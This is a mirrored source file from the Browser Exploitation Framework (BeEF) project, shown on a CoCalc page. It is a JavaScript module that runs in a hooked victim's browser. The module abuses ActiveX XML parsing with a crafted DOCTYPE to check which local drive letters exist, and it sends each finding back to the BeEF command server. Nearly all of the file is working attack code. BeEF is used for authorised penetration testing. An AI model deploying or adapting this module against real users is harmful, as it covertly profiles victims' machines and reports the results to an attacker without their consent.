Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/detect_local_drives/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
if (!("ActiveXObject" in window)) {
10
beef.debug('[Detect Users] Unspported browser');
11
beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());
12
return false;
13
}
14
15
function detect_drive(drive) {
16
var dtd = drive + ':\\';
17
var xml = '<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "' + dtd + '">';
18
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
19
xmlDoc.async = true;
20
try {
21
xmlDoc.loadXML(xml);
22
return xmlDoc.parseError.errorCode == 0 ? true : false;
23
} catch (e) {
24
return true;
25
}
26
}
27
28
// Detect drives: A - Z
29
for (var i = 65; i <= 90; i++) {
30
var drive = String.fromCharCode(i);
31
beef.debug('[Detect Local Drives] Checking for drive: ' + drive);
32
var result = detect_drive(drive);
33
if (result) {
34
beef.debug('[Detect Local Drives] Found drive: ' + drive);
35
beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.are.status_success());
36
}
37
}
38
39
});
40
41
42